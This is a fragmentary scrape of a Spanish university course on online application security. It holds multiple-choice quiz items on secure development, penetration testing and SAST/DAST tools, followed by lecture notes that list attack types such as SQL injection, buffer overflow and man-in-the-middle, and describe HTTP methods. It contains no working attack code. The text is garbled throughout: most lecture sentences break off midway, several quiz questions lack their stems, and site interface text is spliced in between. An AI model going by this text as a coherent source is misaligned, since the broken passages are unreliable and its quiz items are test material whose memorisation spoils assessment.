A. Ingeniería de requisitos de seguridad.
B. Análisis de riesgos.
C. Análisis de la seguridad.
2. ¿Cuándo se realizan los test de penetración?

A. En la fase de análisis.
B. En la fase de diseño.
C. En la fase de desarrollo.
D. En la fase de pruebas.
3. En la fase de pruebas se llevan a cabo:

A. Test funcionales de seguridad basados en el riesgo.
B. Test de penetración.
C. Análisis estático.
D. La A y la B son correctas.
4. Señala la afirmación correcta en cuanto a herramientas de análisis de la seguridad

SAST.
A. No tienen falsos positivos.
B. Necesitan auditoría posterior.
C. No cubren todo el código de la aplicación.

A. Las herramientas IAST son de caja blanca.
B. Las herramientas DAST son de caja blanca.
C. Las herramientas SAST son de caja blanca.
D. Las herramientas RAST son de caja blanca.


A. Los servicios web pueden tener casi los mismos tipos de vulnerabilidades que
tienen las aplicaciones web.
B. Los servicios web pueden sufrir ataques XSS, SQLI, XML injection entre otros.
C. Se pueden utilizar herramientas de tipo DAST o SAST para testear la seguridad
de los servicios web.
D. Los servicios web no pueden tener ataques de escalada de privilegios.

A. Los firewall XML pueden realizar validación del esquema.
B. Los firewall XML pueden impedir escaneos WSDL.
C. Los gateways XML pueden implementar servicios de control de acceso.
8. El análisis de riesgos de seguridad se realiza en:

A. Las fases de análisis y diseño.
B. En la fase de análisis únicamente.
C. En la fase de diseño únicamente.
9. Para tener confidencialidad e integridad en servicios web, señala la afirmación falsa:

A. Los protocolos de transporte seguros pueden asegurar la seguridad de los
mensajes solo durante la transmisión.
B. Es importante hacer frente a los problemas de seguridad en la capa de aplicación
de forma independientemente de las capas de transporte.
C. En situaciones en las que se almacenan los mensajes y luego son remitidos es
necesaria seguridad de la capa de aplicación.
D. Con protocolos de transporte seguros como SSL es suficiente.
10. Respecto a la evaluación de la seguridad de los servicios web señala la afirmación

falsa:
A. Para llevar a cabo la evaluación de la seguridad en el ámbito de servicios web se
debe incluir en el ciclo de vida de desarrollo seguro la planificación de todas las
actividades y pruebas o test de seguridad.
B. Checkmarx y codesecure son dos herramientas de tipo DAST.
C. Klocwork insight y HP source code analyzer son herramientas de tipos SAST.

Seguridad en Aplicaciones On Line

Cargado por

Información del documento

Título original

Derechos de autor

Formatos disponibles

Compartir este documento

Compartir o incrustar documentos

Opciones para compartir

¿Le pareció útil este documento?

¿Este contenido es inapropiado?

Copyright:

Formatos disponibles

Seguridad en Aplicaciones On Line

Cargado por

Copyright:

Formatos disponibles

Vulnerabilidades y problemas de

seguridad en las aplicaciones online

[1.2] Introducción a la seguridad en las aplicaciones online

[1.3] Vulnerabilidades de seguridad en el diseño de las

[1.4] Vulnerabilidades de seguridad en la implementación de las

[1.5] Vulnerabilidades de seguridad en el despliegue de las

[1.6] Listas oficiales de vulnerabilidades de

[1.7] Referencias TEMA

Vulnerabilidades y problemas de seguridad en las aplicaciones online

SANS TOP 25 vulnerabilities

WASC Threat classification

© Universidad Internacional de La Rioja (UNIR)

1.1. ¿Cómo estudiar este tema?

Además, para el estudio del apartado Listas oficiales de vulnerabilidades de seguridad

En este tema analizaremos los problemas y vulnerabilidades de seguridad que se pueden

» El diseño de seguridad de las capas de la arquitectura física y lógica de las aplicaciones

» La implementación y desarrollo de las aplicaciones web:

» En la fase de producción online.

TEMA 1 – Ideas clave © Universidad Internacional de La Rioja (UNIR)

1.2. Introducción a la seguridad en las aplicaciones online

Las actividades de seguridad en las cuales se va a centrar el contenido de esta asignatura

» El diseño de los servicios de autenticación.

Otras actividades de seguridad como derivación de requisitos de seguridad, modelado de

Los objetivos de seguridad a alcanzar en los sistemas de información y

» Identificar a las personas que acceden a la información manejada por un sistema o

TEMA 1 – Ideas clave © Universidad Internacional de La Rioja (UNIR)

» Trazabilidad. Proporcionar los controles que determinen que en todo momento se

Las vulnerabilidades de las aplicaciones son simplemente debilidades en un

» Agente o amenaza: es la persona que realiza el ataque.

Materialización de una amenaza: ataque.

TEMA 1 – Ideas clave © Universidad Internacional de La Rioja (UNIR)

Las principales vulnerabilidades de seguridad que pueden impedir los objetivos

Existen por tanto:

» Vulnerabilidades de seguridad en el diseño: por ejemplo vulnerabilidades

Por tal motivo es necesario convertir el ciclo de vida de desarrollo de aplicaciones en un

Incremento del coste

Fuente: Graff, M. (2001)

TEMA 1 – Ideas clave © Universidad Internacional de La Rioja (UNIR)

La derivación de requisitos de seguridad y análisis de las distintas posibilidades de diseño

Aprovechando cualquier tipo de vulnerabilidad pueden darse ataques de diversos tipos

En sentido general un ataque contra un sistema es cualquier acto malévolo previsto

TEMA 1 – Ideas clave © Universidad Internacional de La Rioja (UNIR)

» Ataque de hombre en medio. Este ataque ocurre cuando el atacante intercepta la

» Ataque de condiciones de carrera. TOCTOU. En un sistema operativo

TEMA 1 – Ideas clave © Universidad Internacional de La Rioja (UNIR)

» Ataque de buffer overflow. No hacer comprobaciones de la longitud de los

» Ataque de inyección de SQL. Los ataques de inyección de SQL muy comunes en

» Ataques de puerta-atrás. Hay que establecer un adecuado proceso de

» Ataques de denegación de servicio. Un sistema, un equipo o una red pueden

TEMA 1 – Ideas clave © Universidad Internacional de La Rioja (UNIR)

» Ataque aprovechando configuraciones por defecto. Al comienzo cuando se

» Ataque por descubrimiento de contraseñas. También ataque por craking de

1.3. Vulnerabilidad de seguridad en el diseño de las aplicaciones

En general, vulnerabilidades de seguridad en el diseño pueden ser debidos a

» El cliente, los navegadores web.

En este apartado se introducen las vulnerabilidades debido a la propia naturaleza de las

TEMA 1 – Ideas clave © Universidad Internacional de La Rioja (UNIR)

Vulnerabilidades relativas a la elección concreta del navegador, sus

Vulnerabilidades en el protocolo HTTP de comunicación

El protocolo HTTP no fue diseñado para aplicaciones y seguramente no para usos

TEMA 1 – Ideas clave © Universidad Internacional de La Rioja (UNIR)

Ejemplo: GET /images/logo.png HTTP/1.1 obtiene un recurso llamado logo.png.

» PUT: sube, carga o realiza un upload de un recurso especificado (archivo). Es el